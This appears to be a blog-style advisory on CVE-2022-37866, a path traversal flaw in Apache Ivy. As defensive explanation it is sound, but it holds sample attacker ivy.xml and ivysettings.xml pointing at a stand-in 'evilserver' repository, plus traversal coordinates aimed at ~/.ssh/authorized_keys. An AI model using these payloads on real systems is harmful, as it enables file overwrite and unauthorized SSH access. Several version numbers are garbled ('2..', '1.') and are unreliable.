Apache Ivy, a popular dependency manager for Java, makes it easy to handle and fetch dependencies for your projects from remote repositories. But sometimes, the very flexibility that makes a tool powerful can also make it vulnerable. That's exactly what happened with CVE-2022-37866 — a critical path traversal flaw affecting Apache Ivy from versions 2.. up to (but not including) 2.5.1.

Here, I’ll break down the vulnerability in plain language, walk you through how it works (including code snippets), show the possible exploits, and finally, explain how to stay safe. All information here is written with clarity for developers, DevOps, and curious security folks alike.

What is the Issue?

When Apache Ivy downloads dependencies (called "artifacts") from a repository, it puts them into your computer’s filesystem according to a "pattern". This pattern is user-defined (often something like [organisation]/[module]/[revision]/[artifact].[ext]), and it can use placeholders for details like the organization, module, or version.

But those values—organization, module, version—can be set to almost anything in some repositories. Crucially, they can include relative path components like ../. That’s where the danger comes in.

If an imported artifact’s coordinates contain ../, Ivy could be tricked into writing files *outside* its designated cache directory, or even overwrite files within its cache. This sort of error is known as a directory traversal (or path traversal) vulnerability.

This allows attackers with control of a remote repository (or who can trick a developer into using their repository) to potentially mess with a developer’s local files.

Safe: Apache Ivy 2.5.1 and later

If you’re using a version between 2.. and 2.5., you should upgrade to 2.5.1+ immediately.

User defines a pattern:

Usually [organisation]/[module]/[revision]/[artifact].[ext].

Attacker serves a malicious artifact, named with path traversal:

For example, the "organisation" field in the artifact's metadata might be '../../../my-malware'.

Ivy fills in the pattern:

- [organisation] = '../../../my-malware'
  - So: '../../../my-malware/library/1../malicious-file.jar'

File written outside Ivy's cache:

Ivy saves the file per the pattern, going _up_ the directory tree (../) potentially overwriting sensitive files or putting files in uncontrolled locations.

But—exploitation isn't always straightforward. Ivy issues HTTP requests with these coordinates, and most normal repositories ignore coordinates with ../. But malicious repositories can cooperate and serve any files requested, so the attack is very plausible in some threat models.

ivy.xml (hosted by attacker)

<ivy-module version="2.">
  <info organisation="../../../evil" module="payload" revision="1."/>
  <publications>
    <artifact name="compromise" type="jar" ext="jar"/>
  </publications>
</ivy-module>

ivysettings.xml

<ivysettings>
  <resolvers>
    <ibiblio name="evil-repo" root="http://evilserver/malicious-repo/"; m2compatible="true"/>
  </resolvers>
</ivysettings>

3. Download Pattern (default or custom)

<ivy>
  <pattern>[organisation]/[module]/[revision]/[artifact].[ext]</pattern>
</ivy>

When fetching the artifact defined above, the resolved path would be

../
../
../evil/payload/1./compromise.jar

Which, depending on the working directory structure and permissions, could result in a file write outside the Ivy cache, potentially overwriting sensitive or critical files.

An attacker could try to produce a coordinate/path like

../../../../.ssh/authorized_keys

If the Ivy cache lives under the user’s home directory, this could potentially drop a public key into the user’s authorized_keys, granting SSH access to an attacker.

Proof-of-Concept (PoC) in Java

Here's a simplified snippet simulating how Ivy would perform the pattern substitution and write the file:

String org = "../../../.ssh";
String module = "authorized_keys";
String revision = "1.";
String artifact = "malicious";
String ext = "txt";

// /home/user/.ivy2/cache/
String baseDir = "/home/user/.ivy2/cache/";

String path = baseDir + org + "/" + module + "/" + revision + "/" + artifact + "." + ext;

// Prints: /home/user/.ivy2/cache/../../../.ssh/authorized_keys/1./malicious.txt
System.out.println("Attempting to write to: " + path);

// A real exploit would have more checks and actual file writes

If Ivy isn't sanitizing the org, this ends up writing in /home/user/.ssh/authorized_keys/..., traversing outside the cache directory.

Why Isn’t This Always Exploitable?

- 99% of main repositories (like Maven Central) will ignore coordinates with ../, and never publish artifacts with such names.
- Only malicious/misconfigured repositories will honor coordinate requests containing ../.
- Attacker needs to trick the victim into using their repo or at least having an artifact with maliciously crafted coordinates.

Fix and Solution

Apache has patched this in Ivy 2.5.1. Now, Ivy sanitizes the artifact coordinates for dangerous path sequences before writing files.

Secure Behavior

- Rejects coordinate fields containing ../ or similar path manipulations.

You should upgrade to at least Ivy 2.5.1 to stay safe!

- Release Notes for Ivy 2.5.1
- CVE-2022-37866 Apache Ivy Security Advisory

Takeaways

- Path traversal can be subtle: Even mature open-source projects can slip up if they allow user-defined fields to control file system paths.

Upgrade Ivy now: If you use Apache Ivy, update to 2.5.1 or newer as soon as possible.

- Check your repositories: Ensure you’re not using any untrusted or uncurated artifact repositories.

References

- Apache Ivy CVE-2022-37866 Advisory
- Ivy 2.5.1 Release Notes
- OWASP Directory Traversal

In Summary

CVE-2022-37866 is a classic example of how file path handling can trip up even experienced developers and maintainers. The fix is simple: upgrade your Apache Ivy install, sanitize remote data, and never let untrusted strings define local file system paths!

Timeline

Published on: 11/07/2022 14:15:00 UTC
Last modified on: 11/09/2022 21:01:00 UTC